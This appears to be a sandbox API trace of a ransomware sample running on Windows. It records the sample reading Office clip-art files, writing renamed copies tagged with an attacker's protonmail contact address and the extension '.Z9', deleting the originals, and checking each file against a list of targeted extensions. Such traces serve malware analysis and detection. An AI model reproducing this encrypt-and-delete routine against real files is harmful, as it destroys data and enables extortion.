	[0096.244] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x82a0, lpOverlapped=0x0) returned 1
	[0096.245] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.245] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.245] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.246] CloseHandle (hObject=0x2b8) returned 1
	[0096.246] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.246] SetEndOfFile (hFile=0x338) returned 1
	[0096.247] CloseHandle (hObject=0x338) returned 1
	[0096.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1
	[0096.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.247] lstrlenW (lpString=".doc") returned 4
	[0096.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.247] lstrlenW (lpString=".docx") returned 5
	[0096.247] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0096.247] lstrlenW (lpString=".pdf") returned 4
	[0096.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.257] lstrlenW (lpString=".xls") returned 4
	[0096.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.257] lstrlenW (lpString=".xlsx") returned 5
	[0096.257] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0096.257] lstrlenW (lpString=".ppt") returned 4
	[0096.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.257] lstrlenW (lpString=".zip") returned 4
	[0096.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.257] lstrlenW (lpString=".rar") returned 4
	[0096.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.257] lstrlenW (lpString=".bz2") returned 4
	[0096.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.257] lstrlenW (lpString=".7z") returned 3
	[0096.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.257] lstrlenW (lpString=".dbf") returned 4
	[0096.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.257] lstrlenW (lpString=".1cd") returned 4
	[0096.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString=".jpg") returned 4
	[0096.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString=".doc") returned 4
	[0096.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString=".docx") returned 5
	[0096.258] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0096.258] lstrlenW (lpString=".pdf") returned 4
	[0096.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString=".xls") returned 4
	[0096.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.258] lstrlenW (lpString=".xlsx") returned 5
	[0096.258] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0096.258] lstrlenW (lpString=".ppt") returned 4
	[0096.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString=".zip") returned 4
	[0096.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.258] lstrlenW (lpString=".rar") returned 4
	[0096.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString=".bz2") returned 4
	[0096.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString=".7z") returned 3
	[0096.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString=".dbf") returned 4
	[0096.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString=".1cd") returned 4
	[0096.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0096.258] lstrlenW (lpString=".jpg") returned 4
	[0096.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.259] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.259] lstrlenW (lpString="J0086478.WMF") returned 12
	[0096.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.259] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14174) returned 1
	[0096.259] CloseHandle (hObject=0x338) returned 1
	[0096.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220
	[0096.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.260] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.260] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.260] GetLastError () returned 0x0
	[0096.260] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x375e, lpOverlapped=0x0) returned 1
	[0096.262] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0096.266] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.266] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.266] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.266] CloseHandle (hObject=0x2b8) returned 1
	[0096.266] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.266] SetEndOfFile (hFile=0x338) returned 1
	[0096.267] CloseHandle (hObject=0x338) returned 1
	[0096.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1
	[0096.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.268] lstrlenW (lpString=".doc") returned 4
	[0096.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.268] lstrlenW (lpString=".docx") returned 5
	[0096.268] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0096.268] lstrlenW (lpString=".pdf") returned 4
	[0096.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.268] lstrlenW (lpString=".xls") returned 4
	[0096.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.268] lstrlenW (lpString=".xlsx") returned 5
	[0096.268] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0096.268] lstrlenW (lpString=".ppt") returned 4
	[0096.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.268] lstrlenW (lpString=".zip") returned 4
	[0096.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.268] lstrlenW (lpString=".rar") returned 4
	[0096.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.268] lstrlenW (lpString=".bz2") returned 4
	[0096.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.268] lstrlenW (lpString=".7z") returned 3
	[0096.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.268] lstrlenW (lpString=".dbf") returned 4
	[0096.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".1cd") returned 4
	[0096.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".jpg") returned 4
	[0096.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".doc") returned 4
	[0096.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString=".docx") returned 5
	[0096.269] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0096.269] lstrlenW (lpString=".pdf") returned 4
	[0096.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString=".xls") returned 4
	[0096.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.269] lstrlenW (lpString=".xlsx") returned 5
	[0096.269] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0096.269] lstrlenW (lpString=".ppt") returned 4
	[0096.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".zip") returned 4
	[0096.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.269] lstrlenW (lpString=".rar") returned 4
	[0096.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString=".bz2") returned 4
	[0096.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString=".7z") returned 3
	[0096.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".dbf") returned 4
	[0096.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".1cd") returned 4
	[0096.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0096.269] lstrlenW (lpString=".jpg") returned 4
	[0096.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.270] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.270] lstrlenW (lpString="J0089945.WMF") returned 12
	[0096.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.270] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19898) returned 1
	[0096.270] CloseHandle (hObject=0x338) returned 1
	[0096.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220
	[0096.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.270] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.271] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.271] GetLastError () returned 0x0
	[0096.271] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dba, lpOverlapped=0x0) returned 1
	[0096.764] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4dc0, lpOverlapped=0x0) returned 1
	[0096.765] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.765] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.765] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.765] CloseHandle (hObject=0x2b8) returned 1
	[0096.765] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.766] SetEndOfFile (hFile=0x338) returned 1
	[0096.766] CloseHandle (hObject=0x338) returned 1
	[0096.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1
	[0096.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.767] lstrlenW (lpString=".doc") returned 4
	[0096.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.767] lstrlenW (lpString=".docx") returned 5
	[0096.767] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0096.767] lstrlenW (lpString=".pdf") returned 4
	[0096.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.767] lstrlenW (lpString=".xls") returned 4
	[0096.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.767] lstrlenW (lpString=".xlsx") returned 5
	[0096.767] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0096.767] lstrlenW (lpString=".ppt") returned 4
	[0096.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.767] lstrlenW (lpString=".zip") returned 4
	[0096.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.767] lstrlenW (lpString=".rar") returned 4
	[0096.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.767] lstrlenW (lpString=".bz2") returned 4
	[0096.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.767] lstrlenW (lpString=".7z") returned 3
	[0096.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.767] lstrlenW (lpString=".dbf") returned 4
	[0096.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString=".1cd") returned 4
	[0096.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString=".jpg") returned 4
	[0096.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString=".doc") returned 4
	[0096.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString=".docx") returned 5
	[0096.768] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0096.768] lstrlenW (lpString=".pdf") returned 4
	[0096.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString=".xls") returned 4
	[0096.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.768] lstrlenW (lpString=".xlsx") returned 5
	[0096.768] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0096.768] lstrlenW (lpString=".ppt") returned 4
	[0096.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString=".zip") returned 4
	[0096.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.768] lstrlenW (lpString=".rar") returned 4
	[0096.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString=".bz2") returned 4
	[0096.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString=".7z") returned 3
	[0096.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString=".dbf") returned 4
	[0096.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.768] lstrlenW (lpString=".1cd") returned 4
	[0096.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0096.769] lstrlenW (lpString=".jpg") returned 4
	[0096.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.769] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0096.769] lstrlenW (lpString="J0099147.JPG") returned 12
	[0096.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.770] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=24377) returned 1
	[0096.770] CloseHandle (hObject=0x338) returned 1
	[0096.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220
	[0096.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.770] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.770] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.770] GetLastError () returned 0x0
	[0096.770] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x5f39, lpOverlapped=0x0) returned 1
